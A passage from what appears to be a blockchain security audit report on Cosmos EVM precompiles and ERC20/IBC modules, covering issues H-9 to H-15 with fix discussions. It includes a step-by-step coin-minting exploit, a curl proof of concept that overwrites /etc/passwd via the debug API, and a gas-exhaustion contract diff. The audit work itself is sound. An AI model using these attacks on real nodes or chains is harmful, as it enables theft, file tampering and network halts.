if convertedAmount.Cmp(uint256.NewInt(0)) == 1 {
        // @audit only the Proposer's balance is updated
    p.SetBalanceChangeEntries(cmn.NewBalanceChangeEntry(proposerHexAddr,
    ↪  convertedAmount, cmn.Add))
}
```

This opens up an exploit where an attacker can mint a large number of EVM coins by taking the following steps within a single transaction. The attacker will need control of a `Depositor A` account and a `Proposer` account, and both will need to be contracts.

1. Depositor A's account must already be loaded into the StateDB. This can be done by adding a journal entry for Depositor A, like sending them 1 EVM coin (adding balance). This is done so that Depositor A's EVM balance in step 3 will be 1 EVM coin. Otherwise, their bank balance will be loaded, and their EVM balance will be 500 EVM coins.
2. Assuming the Proposer has already created a proposal in a prior transaction, trigger the deposit refunds by cancelling the proposal. Depositor A's Bank balance

increases, but their EVM balance doesn't because of the lack of balance change entries. The Depositor will have the following balances at this point.

- Depositor A's Bank balance - 500 EVM coins
- Depositor A's EVM balance - 1 EVM coin

3. Have Depositor A deposit 2 EVM coins to the Validator Pool to underflow their EVM balance from 1 EVM coin to MaxUint256. Any precompile can be used here as long as Depositor A's EVM balance is subtracted by 2 to 500 EVM coins.
   - This is a way to deduct EVM Balance while bypassing the CanTransfer check
   - Depositor A's Bank balance - 498 EVM coins
   - Depositor A's EVM balance - MaxUint256 EVM coins
4. Assuming the EVMCoin Denom is six decimals, when balance is set, Depositor A's EVM Bank balance will be set to `maxUint256 / 1e12`. The total coins minted to Depositor A is ~1.15e65 in 18-decimal precision. This conversion of an 18-decimal value to a 6-decimal value prevents an overflow error when minting EVM coin supply.

Impact

The attacker can mint a large supply of EVM coins.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/evm/precompiles/gov/tx.go#L164-L166

Tool Used

Manual Review

Recommendation

Consider adding balance change entries for all the recipients of EVM coins when canceling a proposal. The other behaviors listed in the summary can also be addressed for defense in depth.

Discussion

gjaldon

The issue is fixed. The use of balance handler in the Gov precompile ensures that all depositors that get refunded EVM Coins will have a corresponding balance change entry in the EVM StateDB.

lpetroulakis

fixed in https://github.com/cosmos/evm-internal/pull/50

Issue H-9: ICS20 precompile fails to reflect adjusted IBC Transfer amounts leading to state Inconsistency

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/569

Summary

A state inconsistency issue exists in the ICS20 precompile where the EVM's `stateDB` fails to accurately reflect balance changes when an IBC transfer is initiated with an amount equal to `UnboundedSpendLimit`. This leads to a mismatch between the Cosmos SDK's `bankKeeper` state and the EVM's `stateDB`, as the precompile's balance change entries are based on the original (potentially unbounded) amount, not the actual adjusted amount transferred by the `ibc-go` module.

Vulnerability Detail

The `ibc-go` transfer logic (specifically in `modules/apps/transfer/keeper/msg_server.go`, lines 37-43) correctly adjusts the `coin.Amount` to the sender's `SpendableCoin` when `types.UnboundedSpendLimit()` is detected. This ensures that only the actual available balance is transferred.

Code Location : https://github.com/cosmos/ibc-go/blob/main/modules/apps/transfer/keeper/msg_server.go#L37-L43

```
// Using types.UnboundedSpendLimit allows us to send the entire balance of a given
↪  denom.
if coin.Amount.Equal(types.UnboundedSpendLimit()) {
    coin.Amount = k.BankKeeper.SpendableCoin(ctx, sender, coin.Denom).Amount
    if coin.Amount.IsZero() {
        return nil, errorsmod.Wrapf(types.ErrInvalidAmount, "empty spendable balance
        ↪  for %s", coin.Denom)
    }
}
```

However, the ICS20 precompile's logic responsible for updating the EVM's `stateDB` (`SetBalanceChangeEntries`) does not account for this adjustment. It calculates the `sendAmt` for `SetBalanceChangeEntries` based on the original `msg.Token.Amount`, which can be `UnboundedSpendLimit` or a very large value. Consequently, if the `ibc-go` module reduces the actual transfer amount (because the spendable balance was less than the original requested amount), the `stateDB` records a balance change for the larger, unadjusted amount, creating a divergence from the true `bankKeeper` state.

Impact

The primary and most severe impact is a divergence between the canonical bankKeeper state (Cosmos SDK) and the EVM's stateDB. This means that queries for token balances via the EVM (e.g., through ERC20 contracts) will return incorrect values, while native Cosmos SDK queries will show the true balance.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/evm/precompiles/ics20/tx.go#L73

Tool Used

Manual Review

Recommendation

Implement the logic within the ICS20 precompile to ensure that the sendAmt used for updating the EVM's stateDB (via SetBalanceChangeEntries) is the actual amount transferred after the UnboundedSpendLimit adjustment performed by the ibc-go module.

Discussion

cloudgray

@defsec Could you please check PR #201? In this PR, not only for the `ics20` precompile but for all precompiles, we have implemented parsing of `sdk.Events` emitted when actual x/bank `SendCoins` occurs to commit the actual balance changes that took place.

defsec

Thank you checking!

Issue H-10: On receiving a native ERC20 coin via IBC, full recipient coin balance is wrongly converted into ERC20

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/571

Summary

When a native coin from a ERC20 token pair is received via IBC, instead of converting only the received amount, the whole receiver balance is converted instead. Taking into account that anyone can send a very small amount to any other account via IBC, this violates basic authorization principles, giving arbitrary actors a power to convert whole balances without owner's authorization.

Vulnerability Detail

In evm/x/erc20/keeper/ibc_callbacks.go::OnRecvPacket we have the following:

```
balance := k.bankKeeper.GetBalance(ctx, recipient, coin.Denom)
if err := k.ConvertCoinNativeERC20(ctx, pair, balance.Amount,
 ↪  common.BytesToAddress(recipient.Bytes()), recipient); err != nil {
    return channeltypes.NewErrorAcknowledgement(err)
```

As we see, the whole recipient balance is converted, irrespective of the received amount.

Impact

Any actor can convert whole balances of other accounts holding coins from a native ERC20 token pair without user authorization.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/erc20/keeper/ibc_callbacks.go#L139-L141

Tool Used

Manual Review

Recommendation

Convert only the amount received via IBC, not the full recipient balance.

Discussion

kuprumxyz

The fix is confirmed: only the amount received via IBC is converted.

Issue H-11: Double event emission in EVM transaction processing

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/572

Summary

The EVM transaction processing logic contains a double event emission vulnerability where Cosmos SDK events are emitted twice for successful transactions, leading to duplicate events in blockchain logs and potential issues with event-based applications.

Vulnerability Detail

The vulnerability exists in the transaction processing flow where both automatic and manual event emission mechanisms are active simultaneously. The issue occurs in the `ApplyTransaction` function when processing successful transactions with post-processing hooks.

The `CacheContext()` method in recent Cosmos SDK versions automatically emits events when the `commit()` function is called, but the code also manually emits the same events afterward.

Reference : v0.53.2/types/context.go#L361

Impact

- All successful EVM transactions emit duplicate events.
- Each event appears twice in blockchain logs.

Code Snippet

#L239-L240

Tool Used

Manual Review

Recommendation

Remove the manual event emission since `commit()` already handles event emission automatically.

Discussion

defsec

Fix is verified.

defsec

Fix is checked again and didnt identify an issue.

Issue H-12: Arbitrary file write in Debug API profiling functions

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/576

Summary

The debug API exposes several profiling functions (`debug_startCPUProfile`, `debug_cpuProfile`, `debug_blockProfile`, `debug_goTrace`) that accept user-controlled file paths without proper validation. These functions directly create files at the specified paths using `os.Create()`, allowing attackers to write arbitrary files anywhere on the filesystem with the privileges of the running process. This vulnerability can lead to complete system compromise through overwriting critical system files, configuration files.

Vulnerability Detail

The vulnerability exists in multiple debug API functions that handle profiling operations:

1. **StartCPUProfile Function**: Accepts a user-controlled `file` parameter and passes it directly to `os.Create()` after only expanding the home directory path.
2. **CpuProfile Function**: Calls `StartCPUProfile()` with user-provided file path, inheriting the same vulnerability.
3. **BlockProfile Function**: Calls `writeProfile()` with user-controlled file path parameter.
4. **GoTrace Function**: Calls `StartGoTrace()` with user-controlled file path, likely following the same vulnerable pattern.

The root cause is the lack of input validation and path sanitization. The code performs no checks for:

- Directory traversal attacks (`../../../etc/passwd`)
- Absolute path restrictions
- File extension validation
- Allowed directory whitelisting
- System file protection

Proof Of Concept

```
curl -X POST 'http://127.0.0.1:8545' \
-H 'Content-Type: application/json' \
--data-raw '{
  "method": "debug_cpuProfile",
```

```
  "params": ["/etc/passwd", 10],
  "id": 1,
  "jsonrpc": "2.0"
}'
{"jsonrpc":"2.0","id":1,"result":null}
```

Output

```
-rw-r--r--  1 defsec  staff  1168 Jun  5 14:13 passwd
```

Impact

Attackers can overwrite critical system files like `/etc/passwd`, `/etc/shadow`, `/etc/sudoers`.

Code Snippet

```
func (a *API) StartCPUProfile(file string) error {
    a.logger.Debug("debug_startCPUProfile", "file", file)
    a.handler.mu.Lock()
    defer a.handler.mu.Unlock()

    switch {
    case isCPUProfileConfigurationActivated(a.ctx):
        a.logger.Debug("CPU profiling already in progress using the configuration
        ↪  file")
        return errors.New("CPU profiling already in progress using the configuration
        ↪  file")
    case a.handler.cpuFile != nil:
        a.logger.Debug("CPU profiling already in progress")
        return errors.New("CPU profiling already in progress")
    default:
        fp, err := ExpandHome(file)  //  Only expands home directory, no validation
        if err != nil {
            a.logger.Debug("failed to get filepath for the CPU profile file",
            ↪  "error", err.Error())
            return err
        }
        f, err := os.Create(fp)      //  ARBITRARY FILE WRITE - User controls fp
        ↪  completely
        if err != nil {
            a.logger.Debug("failed to create CPU profile file", "error",
            ↪  err.Error())
            return err
        }
        // ... rest of function
    }
}
```

Tool Used

Manual Review

Recommendation

Add comprehensive input validation for all file path parameters.

Discussion

vladjdk

The assumption is that the debug API endpoint will be off by default, with node operators only turning it on when they need to debug something locally:

Ref for defaults: https://github.com/ethereum/go-ethereum/blob/fa8f391db3bca764292c5db3db73f183156eda52/node/defaults.go
allowbreak #L62

defsec

Fix is confirmed.

Issue H-13: Dynamic precompiles may be weaponized to halt Cosmos EVM

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/582

Summary

Users may permissionlesly register new dynamic precompiles by sending via IBC an ICS20 packet with a new, previously unseen denom. The addresses of these precompiles are added to the slice of dynamic precompiles, which is stored in the ERC20 module parameters. Upon each EVM call, `ERC20::GetParams` is used, which retrieves this unbounded slice from storage and parses it. This operation consumes gas, and attackers can fill the slice up to arbitrary length; reading it from storage will consume all available gas, and Cosmos EVM won't be able to execute any Ethereum transactions, thus effectively halting the chain.

Vulnerability Detail

The vulnerability stems from a combination of 2 factors:

1. Dynamic precompiles can be registered permissionlessly via IBC transfers

When an IBC20 packet is processed in `evm/x/erc20/keeper/ibc_callbacks.go::OnRecvPacket`, an ERC20 extension is registered:

```
case !found && strings.HasPrefix(coin.Denom, "ibc/") &&
↪  ibc.IsBaseDenomFromSourceChain(data.Denom):
    tokenPair, err := k.RegisterERC20Extension(ctx, coin.Denom)
    if err != nil {
        return channeltypes.NewErrorAcknowledgement(err)
    }
```

RegisterERC20Extension creates a new ERC20 token pair, and calls EnableDynamicPrecompiles, which **appends the newly generated ERC20 contract address to the slice of dynamic precompiles** stored in module parameters:

```
func (k Keeper) EnableDynamicPrecompiles(ctx sdk.Context, addresses
↪  ...common.Address) error {
    // Get the current params and append the new precompiles
    params := k.GetParams(ctx)
    activePrecompiles := params.DynamicPrecompiles
```

```
    // Append and sort the new precompiles
    updatedPrecompiles, err := appendPrecompiles(activePrecompiles, addresses...)
    if err != nil {
        return err
    }

    // Update params
    params.DynamicPrecompiles = updatedPrecompiles
    k.Logger(ctx).Info("Added new precompiles", "addresses", addresses)
    return k.SetParams(ctx, params)
}
```

2. Dynamic precompiles are retrieved from storage for almost every EVM call

When an EVM call is performed, the following happens:

1. Function `ApplyMessageWithConfig` calls NewEVM
2. Function `NewEVM` adds precompile code hooks
3. Function `GetPrecompilesCallHook` calls GetPrecompileInstance
4. Function `GetPrecompileInstance`, provided that the call recipient is not a static precompile, calls GetERC20PrecompileInstance
5. GetERC20PrecompileInstance calls `GetParams` of the ERC20 module, and instantiates the ERC20 contract for the new address if it's not instantiated already
6. GetParams calls `getDynamicPrecompiles`
7. getDynamicPrecompiles **retrieves the slice of dynamic precompiles from storage** and parses it:

```
func (k Keeper) getDynamicPrecompiles(ctx sdk.Context) (dynamicPrecompiles
↪  []string) {
    store := ctx.KVStore(k.storeKey)
    bz := store.Get(types.ParamStoreKeyDynamicPrecompiles)

    for i := 0; i < len(bz); i += addressLength {
        dynamicPrecompiles = append(dynamicPrecompiles,
        ↪  string(bz[i:i+addressLength]))
    }
    return dynamicPrecompiles
}
```

8. Finally, the call hook code returned by `GetPrecompilesCallHook` is triggered from one of `go-ethereum/core/vm/evm.go::<X>Call` functions, e.g. from Call.

Impact

As can be seen:

1. Dynamic precompiles can be permissionlessly registered via IBC transfers
2. The slice of all dynamic precompiles is retrieved and parsed upon almost every EVM call

We have benchmarked step 2: the gas cost of `GetParams` increases by 126 gas for every new registered dynamic precompile.

With the current block gas limit of Cosmos chains of around 100M gas, this means that registering less than 1M dynamic precompiles is enough to completely halt Cosmos EVM: any EVM transaction won't fit into the block gas limit. It's worth mentioning that severe adverse effects will happen far earlier than that, due to the deterministic execution delay of every EVM transaction.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/erc20/keeper/ibc_callbacks.go#L114-L118

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/erc20/keeper/dynamic_precompiles.go#L93-L108

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/erc20/keeper/params.go#L120-L128

Tool Used

Manual Review

Recommendation

The only reason for calling `GetParams` in `GetERC20PrecompileInstance` is to later test whether the address in question is contained in either dynamic or native precompile addresses slice:

```
func (k Keeper) IsAvailableERC20Precompile(params *types.Params, address
↪  common.Address) bool {
    return params.IsNativePrecompile(address) ||
        params.IsDynamicPrecompile(address)
}
```

With `IsNativePrecompile` / `IsDynamicPrecompile` being:

```
// IsNativePrecompile checks if the provided address is within the native
↪  precompiles
func (p Params) IsNativePrecompile(addr common.Address) bool {
    return isAddrIncluded(addr, p.NativePrecompiles)
}

// IsDynamicPrecompile checks if the provided address is within the dynamic
↪  precompiles
func (p Params) IsDynamicPrecompile(addr common.Address) bool {
    return isAddrIncluded(addr, p.DynamicPrecompiles)
}

// isAddrIncluded checks if the provided common.Address is within a slice
// of hex string addresses
func isAddrIncluded(addr common.Address, strAddrs []string) bool {
    for _, sa := range strAddrs {
        // check address bytes instead of the string due to possible differences
        // on the address string related to EIP-55
        cmnAddr := common.HexToAddress(sa)
        if bytes.Equal(addr.Bytes(), cmnAddr.Bytes()) {
            return true
        }
    }
    return false
}
```

As can be seen this storage of the whole slice of dynamic precompiles, and its later retrieval & parsing is completely unnecessary & wasteful use of both storage and computing resources, which in particular allows the attack described here.

This can be avoided by employing the code which is already present: when a new token pair is registered, a mapping is created in storage from the address of ERC20 contract to the token pair; see CreateNewTokenPair:

```
// CreateNewTokenPair creates a new token pair and stores it in the state.
func (k *Keeper) CreateNewTokenPair(ctx sdk.Context, denom string)
↪  (types.TokenPair, error) {
    pair, err := types.NewTokenPairSTRv2(denom)
    if err != nil {
        return types.TokenPair{}, err
    }
    k.SetToken(ctx, pair)
    return pair, nil
}

// SetToken stores a token pair, denom map and erc20 map.
func (k *Keeper) SetToken(ctx sdk.Context, pair types.TokenPair) {
    k.SetTokenPair(ctx, pair)
```

```
    k.SetDenomMap(ctx, pair.Denom, pair.GetID())
    k.SetERC20Map(ctx, pair.GetERC20Contract(), pair.GetID())
}
```

Thus, instead of retrieving all precompiles via `GetParams` / `IsNativePrecompile` / `IsDynamicPrecompile` a direct, constant-gas mapping lookup can be done via `ERC20Map`.

Discussion

kuprumxyz

The fix is confirmed:

- Dynamic precompiles slice is removed from the `erc20` module params;
- Adding a new precompile / checking its existence is done by storing directly in the Cosmos SDK store under the key `KeyPrefixDynamicPrecompiles` + the corresponding address.

Issue H-14: Internal EVM calls from Cosmos transactions can be abused to steal gas or halt Cosmos EVM

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/586

Summary

When an Ethereum-native transaction is submitted on Cosmos EVM, gas consumed inside EVM is tracked and combined with the gas consumed while executing the enclosing Cosmos transaction. There are, however, several kinds of Cosmos-native transactions (such as `RegisterERC20` / `ConvertERC20` / `ConvertCoin` of `ERC20` module), which perform internal EVM calls, in particular for user-deployed ERC20-contracts, and the gas consumed inside EVM for these calls is neither tracked, nor combined with the gas consumed in the Cosmos transaction.

This allows to execute a multitude of attacks, such as

- **Cosmos EVM halting**: internal EVM calls are provided with a very high limit of 25M gas, and an attacker may execute simple Cosmos transactions with the calls to malicious ERC20 contracts, which will consume enormous amounts of computing resources. In our tests we've observed the **1000X slowdown**: an EVM call which took ~40 microseconds under normal circumstances, could be slowed down to consume 40 milliseconds.
- **Gas stealing**: Ethereum transactions may be executed for free, with the caller not paying for the gas consumed by ERC20 contract logic.

Vulnerability Detail

An Ethereum-native transaction submitted to Cosmos EVM goes via the route EthereumTx / ApplyTransaction / ApplyMessageWithConfig, and the gas consumed inside an EVM call, is combined with the Cosmos gas inside `ApplyTransaction`:

```
totalGasUsed, err := k.AddTransientGasUsed(ctx, res.GasUsed)
if err != nil {
    return nil, errorsmod.Wrap(err, "failed to add transient gas used")
}

// reset the gas meter for current cosmos transaction
k.ResetGasMeterAndConsumeGas(ctx, totalGasUsed)
```

Contrary to that, a number of Cosmos native transactions, notably ConvertERC20, ConvertCoin, and RegisterERC20 (but possibly not limited to these) go via a different route: CallEVM / CallEVMWithData / ApplyMessage / ApplyMessageWithConfig, and

along this route the gas consumed in the internal EVM call is neither tracked nor combined with the gas of the Cosmos transaction:

```
func (k Keeper) CallEVMWithData(
    ctx sdk.Context,
    from common.Address,
    contract *common.Address,
    data []byte,
    commit bool,
) (*types.MsgEthereumTxResponse, error) {
    // snip ...
>>  gasCap := config.DefaultGasCap // @audit 25M gas
    // snip ...

    msg := core.Message{
        From:       from,
        To:         contract,
        Nonce:      nonce,
        Value:      big.NewInt(0),
>>      GasLimit:   gasCap,
        GasPrice:   big.NewInt(0),
        GasTipCap:  big.NewInt(0),
        GasFeeCap:  big.NewInt(0),
        Data:       data,
        AccessList: ethtypes.AccessList{},
    }

    res, err := k.ApplyMessage(ctx, msg, nil, commit)
    if err != nil {
        return nil, err
    }

    if res.Failed() {
        return nil, errorsmod.Wrap(types.ErrVMExecution, res.VmError)
    }

    // @audit: `res.GasUsed` is ignored

    return res, nil
}
```

Impact

Cosmos EVM halting

Internal EVM calls are provided with a very high limit of 25M gas, and an attacker may execute simple Cosmos transactions with the calls to malicious ERC20 contracts, which will consume enormous amounts of computing resources. This attack is very easy to

execute, and is completely permissionless: anyone may submit RegisterERC20 transactions for user-supplied ERC20 contracts, and fill Cosmos blocks with such innocently looking transactions which will consume all validator computing resources, without incurring any costs for the attacker.

In our tests we've observed the 1000X slowdown: an EVM call which took ~40 microseconds under normal circumstances, could be slowed down to consume 40 milliseconds. To reproduce, apply the below diff to contracts/solidity/ERC20MinterBurnerDecimals.sol:

```
diff --git a/evm/contracts/solidity/ERC20MinterBurnerDecimals.sol
 ↪  b/evm/contracts/solidity/ERC20MinterBurnerDecimals.sol
index 613d105..d8d9619 100644
--- a/evm/contracts/solidity/ERC20MinterBurnerDecimals.sol
+++ b/evm/contracts/solidity/ERC20MinterBurnerDecimals.sol
@@ -120,6 +120,13 @@ contract ERC20MinterBurnerDecimals is Context,
 ↪  AccessControlEnumerable, ERC20Bur
       address to,
       uint256 amount
   ) internal virtual override(ERC20, ERC20Pausable) {
+
+      // Gas exhaustion attack: consume ~25M gas
+      uint256 sum;
+      for(uint256 i=0; i< 67000; i++) {
+        sum += i;
+      }
+
       super._beforeTokenTransfer(from, to, amount);
   }
 }
\ No newline at end of file
```

Then recompile solidity contracts (`make contracts-all`), and execute one specific test via the command

```
go test -tags=test -v -run
 ↪  "./TestConvertERC20NativeERC20/Case_ok_-_sufficient_funds"
```

This single test execution slows down from ~ 3 seconds to ~17 seconds; while the benchmarked `ApplyMessage` execution slows down from ~40 microseconds to 40 milliseconds.

This attack effectively means that **Cosmos EVM will be halted, as validators won't be able to execute blocks within any reasonable time bounds.**

Gas stealing

Contrary to the halting attack above, this one works via executing ConvertERC20 or ConvertCoin. There are two important differences:

- These transactions call EVM methods with committing the results to StateDB, and thus the EVM results are persisted:
  - This allows an attacker to perform Ethereum computations for free, as the internal gas consumption is limited with an extremely high limit of 25M gas, and the attacker is not charged for consuming it.
- The transactions are permissioned in the sense that the native ERC20 pair needs to be enabled for conversions:
  - While this might be an obstacle, but only a very slight one. E.g. upgradeable ERC20 contracts allow to completely circumvent it: an innocently looking ERC20 contract may be approved for conversions, and later upgraded to a malicious version.

Thus, **Ethereum transactions may be executed for free, with the caller not paying for the consumed gas.**

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/vm/keeper/call_evm.go#L80-L102

Tool Used

Manual Review; `go test`.

Recommendation

Below is a fragment from the NatSpec of ApplyMessageWithConfig:

```
// # Different Callers
//
// It's called in three scenarios:
// 1. `ApplyTransaction`, in the transaction processing flow.
// 2. `EthCall/EthEstimateGas` grpc query handler.
// 3. Called by other native modules directly.
//
// # Prechecks and Preprocessing
//
// All relevant state transition prechecks for the MsgEthereumTx are performed on
 ↪  the AnteHandler,
// prior to running the transaction against the state. The prechecks run are the
 ↪  following:
//
// 1. the nonce of the message caller is correct
// 2. caller has enough balance to cover transaction fee(gaslimit * gasprice)
```

```
// 3. the amount of gas required is available in the block
// 4. the purchased gas is enough to cover intrinsic usage
// 5. there is no overflow when calculating intrinsic gas
// 6. caller has enough balance to cover asset transfer for **topmost** call
```

Notice that what's documented in "Prechecks and Preprocessing", in the code applies only to the first item from "Different Callers".

To mitigate: make sure that all call paths that reach `ApplyMessageWithConfig` properly perform all pre- and post-processing steps, in particular properly charge for the gas consumed by internal EVM calls while processing native Cosmos transactions.

Discussion

vladjdk

Hey @kuprumxyz, I tried debugging the tests using the contract with the large loop, and I noticed that gas was actually being added into the test context in "./TestConvertERC20NativeERC20/Case_ok_-_sufficient_funds".

I also tried deploying two contracts onto the network - one with the loop and one without.

Testing the following command, I was able to get the two responses below: Command:

```
cast send ERC20_ADDRESS "mint(address,uint256)"
↪  0x7cB61D4117AE31a12E393a1Cfa3BaC666481D02E 1000000000000000000 \
  --private-key \$PRIVATE_KEY \
  --rpc-url http://localhost:8545 \
  --gas-limit 10000000
```

Response (With Loop):

```
blockHash
↪  0x22f26f299e0c47f7933bfca67e4a39802202d6fdf9322f669125b5c35d78415a
blockNumber          58
contractAddress
cumulativeGasUsed    10000000
effectiveGasPrice    721406
from                 0x7cB61D4117AE31a12E393a1Cfa3BaC666481D02E
gasUsed              10000000
logs                 []
logsBloom            0x00000000000000000000000000000000000000000000000000000000000000000
↪  00000000000000000000000000000000000000000000000000000000000000000000000000000000000000
↪  00000000000000000000000000000000000000000000000000000000000000000000000000000000000000
↪  00000000000000000000000000000000000000000000000000000000000000000000000000000000000000
↪  00000000000000000000000000000000000000000000000000000000000000000000000000000000000000
↪  00000000000000000000000000000000000000000000000000000000000000000000000000000000000000
↪  00000000000000000000000000000000000000000000000000000000000000000000000000000000000000
↪  00000000000000000000000000000000000000000000000000000000000000000
root
```

```
status               0 (failed)
transactionHash
↪  0x653d5d1134b86a71b668a9dc46c9e880287e7c33224279388fc9543030fa4c9a
transactionIndex     0
type                 2
blobGasPrice
blobGasUsed
to                   0x816644F8bc4633D268842628EB10ffC0AdcB6099
```

Response (Without Loop):

```
blockHash
↪  0x900659a9d82f34b5b61d37b59690fa4b1655f8bed1184a1b242aed3c25894dac
blockNumber          53
contractAddress
cumulativeGasUsed    1500000
effectiveGasPrice    1093944
from                 0x7cB61D4117AE31a12E393a1Cfa3BaC666481D02E
gasUsed              1500000
logs                 [{"address":"0x3bf5b9b163662dff052e5e5b632b0dbb9a1a66be","topi
↪  cs":["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x00
↪  0000000000000000000000000000000000000000000000000000000000000000","0x000000000000
↪  0000000000007cb61d4117ae31a12e393a1cfa3bac666481d02e"],"data":"0x00000000000000
↪  00000000000000000000000000000000de0b6b3a7640000","blockHash":"0x900659a9d82f
↪  34b5b61d37b59690fa4b1655f8bed1184a1b242aed3c25894dac","blockNumber":"0x35","tra
↪  nsactionHash":"0x8e0e046df76a3dc1dd4d38839441edf546719d9757b8627434706cd887e2a7
↪  e1","transactionIndex":"0x0","logIndex":"0x0","removed":false}]
logsBloom            0x00000000000000000000000000000000000000000000000000000000000000000
↪  00000000000000000800000000000000000000000000000000000000000000000000000000000000000
↪  00000200000080000000000000000000000000000000000000000000000000000000000000000000200
↪  00080000000000000000000000001000000000000000000000000000000000000000000000000000000
↪  00000000000020000000000080000000000000000000000000000000000000000000000000000000000
↪  00000000000000200000000000000000000000000000000000000000000000000000000000000000000
↪  00000000000000000000000000010000000000000000000000000000000
root
status               1 (success)
transactionHash
↪  0x8e0e046df76a3dc1dd4d38839441edf546719d9757b8627434706cd887e2a7e1
transactionIndex     0
type                 2
blobGasPrice
blobGasUsed
to                   0x3BF5b9b163662DFf052e5E5B632b0DbB9A1A66Be
```

Notice how the response with the loop is using up all of the gas and failing. Moreover, block gas is limited at 10,000,000, so a user isn't able to specify a limit higher than that.

vladjdk

I think maybe a different problem is the fact that we don't create an infinite gas meter,

and the gas is all consumed by the estimation itself.

kuprumxyz

> Hey @kuprumxyz, I tried debugging the tests using the contract with the large loop, and I noticed that gas was actually being added into the test context in "./TestConvertERC20NativeERC20/Case_ok_-_sufficient_funds".
> I also tried deploying two contracts onto the network - one with the loop and one without.
> Testing the following command, I was able to get the two responses below:

Clarifying for transparency: as discussed on Discord, the test was calling the malicious ERC contract directly from an EVM Tx, and the vulnerability manifests itself only when invoked via an internal EVM Tx when a Cosmos Tx is being processed.

kuprumxyz

The fix is confirmed. The behavior of `CallEVM` is modified such that:

- GasUsed is consumed for each EVM transaction in the Cosmos ctx
- all gas set in the Cosmos gas limit is consumed upon failure. and the transaction is canceled.

As discussed on Discord, the limit of 25M gas for internal transactions is extremely high and remains the source of concern. No ERC20 needs that much gas; we would recommend to reduce this limit e.g. to 1M gas.

We would also like to recommend to run a few experiments and collect data: how much gas is consumed / refunded for various combinations of:

- Internal gas limit: e.g. 1M, 10M, 25M
- RefundQuotient: e.g. 1, 5
- Non-malicious / malicious / too-heavy / faulty contract being called. A malicious meaning that it tries to consume close to the limit of the gas, but not exceeding it. Too-heavy means it consumes above the gas limit. Faulty means it simply reverts.

Then an informed selection of parameters can be made.

Issue H-15: Account deletion upon self-destruct may lead to inconsistent state updates

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/589

Summary

When an Ethereum contract self-destructs, its corresponding account and all associated data are deleted from StateDB. In that process, the cleanup of the storage data employs an unsafe pattern of deleting while iterating, which may lead to the corrupted state of Cosmos SDK store.

Vulnerability Detail

Upon a commit, when dirty objects are written from StateDB to the Cosmos SDK store, the following happens in commitWithCtx:

```
func (s *StateDB) commitWithCtx(ctx sdk.Context) error {
    for _, addr := range s.journal.sortedDirties() {
        obj := s.stateObjects[addr]
        if obj.selfDestructed {
>>          if err := s.keeper.DeleteAccount(ctx, obj.Address()); err != nil {
                return errorsmod.Wrapf(err, "failed to delete account %s",
                ↪  obj.Address())
            }
```

The corresponding function DeleteAccount employs an unsafe pattern of **deleting while iterating**:

```
func (k *Keeper) DeleteAccount(ctx sdk.Context, addr common.Address) error {
    // snip...

    // clear storage
    k.ForEachStorage(ctx, addr, func(key, _ common.Hash) bool {
>>      k.DeleteState(ctx, addr, key)
        return true
    })
    // snip...
}
```

Indeed, the function ForEachStorage creates a KVStore iterator, and applies the given function to it:

```
func (k *Keeper) ForEachStorage(ctx sdk.Context, addr common.Address, cb func(key,
 ↪  value common.Hash) bool) {
```

```
    store := ctx.KVStore(k.storeKey)
    prefix := types.AddressStoragePrefix(addr)

>>  iterator := storetypes.KVStorePrefixIterator(store, prefix)
    defer iterator.Close()

    for ; iterator.Valid(); iterator.Next() {
        key := common.BytesToHash(iterator.Key())
        value := common.BytesToHash(iterator.Value())

        // check if iteration stops
>>      if !cb(key, value) {
            return
        }
    }
}
```

While the applied function calls DeleteState:

```
func (k *Keeper) DeleteState(ctx sdk.Context, addr common.Address, key common.Hash)
 ↪  {
    store := prefix.NewStore(ctx.KVStore(k.storeKey),
     ↪  types.AddressStoragePrefix(addr))
>>  store.Delete(key.Bytes())

    k.Logger(ctx).Debug(
        "state deleted",
        "ethereum-address", addr.Hex(),
        "key", key.Hex(),
    )
}
```

Notice that there is an explicit contract that no writes should happen when iterating the KVStore:

```
// CONTRACT: No writes may happen within a domain while an iterator exists over it.
```

Impact

Cosmos SDK's KVStore uses IAVL trees as the underlying datastructure, the imposed contract of ”no writes while iterating” comes from there. If this contract is violated, and a deletion happens while iterating, this may lead to the underlying tree being rebalanced, and the tree traversal stored in the iterator may traverse the nodes in the wrong order. This could lead e.g. to some nodes being skipped on traversal, and, in general, to an inconsistent store state, which may in turn open the way for further exploitable vulnerabilities.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/vm/statedb/statedb.go#L669-L675

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/vm/keeper/statedb.go#L92-L108

